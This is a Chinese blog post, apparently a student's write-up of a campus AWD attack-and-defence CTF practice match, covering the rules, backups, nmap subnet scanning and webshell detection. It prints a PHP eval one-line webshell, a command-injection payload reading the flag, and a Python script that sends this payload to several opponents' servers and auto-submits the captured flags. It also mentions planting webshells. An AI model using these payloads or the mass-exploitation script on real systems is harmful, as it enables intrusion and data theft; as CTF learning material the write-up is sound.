AWD 校内练习赛

本人没打过awd模式,和pwn大佬组队打了场练习赛,学到了很多,下面作总结一下经验.

AWD模式

AWD:Attack With Defence,比赛中每个队伍维护多台服务器,服务器中存在多个漏洞,利用漏洞攻击其他队伍可以进行得分,修复漏洞可以避免被其他队伍攻击失分。

  • 一般分配Web服务器,服务器(多数为Linux)某处存在flag(一般在根目录下);
  • 可能会提供一台流量分析虚拟机,可以下载流量文件进行数据分析;
  • flag在主办方的设定下每隔一定时间刷新一轮;
  • 各队一般都有自己的初始分数;
  • flag一旦被其他队伍拿走,该队扣除一定积分;
  • 扣除的积分由获取flag的队伍均分;
  • 主办方会对每个队伍的服务进行check,服务宕机扣除本轮flag分数,扣除的分值由服务check正常的队伍均分;
  • 一般每个队伍会给一个低权限用户,非root权限;

    赛前准备

  • 做好备份,在龙哥指导下,下载了Winscp建立起站点,按照说明书给的题目ip进行会话连接,可以看到自己的flag和源代码题目目录等等,这就是自己的flag与目录了。然后将这些所有文件夹进行复制备份,龙哥说可以在被入侵时删掉这些后门重新放进去备份.
  • 比赛可能会告诉你其他队伍的IP,也可能不会告诉你,一般在同一个C段或者B段,因此首先可以利用nmap等扫描工具发现其他队伍的IP
1
nmap –sn 192.168.71.0/24

或者用https://github.com/zer0h/httpscan 的脚本进行扫描

预留后门

  • 这里我用的webshell检测工具D盾,可以对源代码查出漏洞问题,从而进行挖洞以及自身后门的防备。这里的备份很关键,方便自己找出后门漏洞。
  • 拿到源代码后立刻用D盾进行扫描

    image
    可以看到许多漏洞,最简单的是一句话木马.

    比赛题型有很多,就拿我做的一道最简单的一句话木马来作例子
    1
    @eval($_POST["HDwiki"]);

这题有两种方法

  • 构造post如下

    1
    HDwiki=system('cat ./flag')
  • 也可以用菜刀连接,方便直观flag的目录所在,还可以上传一句话木马防备对手进行删掉原有的一句话木马

  • 写脚本爆破,下面附上龙哥写的脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    #coding:utf-8
    import re
    import requests


    url_submit = "http://172.16.4.1/Common/submitAnswer"

    url_test = "http://172.16.5.20:5050/index.php"
    url = [
    "http://172.16.5.14:5050/index.php",
    "http://172.16.5.13:5050/index.php",
    "http://172.16.5.16:5050/index.php",
    "http://172.16.5.15:5050/index.php",
    "http://172.16.5.20:5050/index.php",
    "http://172.16.5.19:5050/index.php",
    "http://172.16.5.18:5050/index.php",
    "http://172.16.5.17:5050/index.php"
    ]

    post_data = {'HDwiki':"system('cat /flag');"}

    token = 'f7dfe4ef29acdf1036bd971e3488c5f6'

    # submit_flag = {'answer':flag,'token':token}
    for i in url:
    response = requests.post(i, data = post_data)
    print(response.text[0:36])
    flag = response.text[0:36]
    # if "flag" in response.text:
    # print("flag in ")
    # print(token)
    sub_response = requests.post(url_submit,data = {'answer':flag,'token':token})
    print(sub_response.text)

最后

这只是校内练习赛而已,第一次接触awd模式的CTF学到了很多,上面方法有点水不能在真正赛场用,有点慢,一般都走写脚本。祝大家打比赛快乐。

文章目录
  1. 1. 本人没打过awd模式,和pwn大佬组队打了场练习赛,学到了很多,下面作总结一下经验.
  • AWD模式
  • 赛前准备
  • 预留后门
  • 最后
  • ,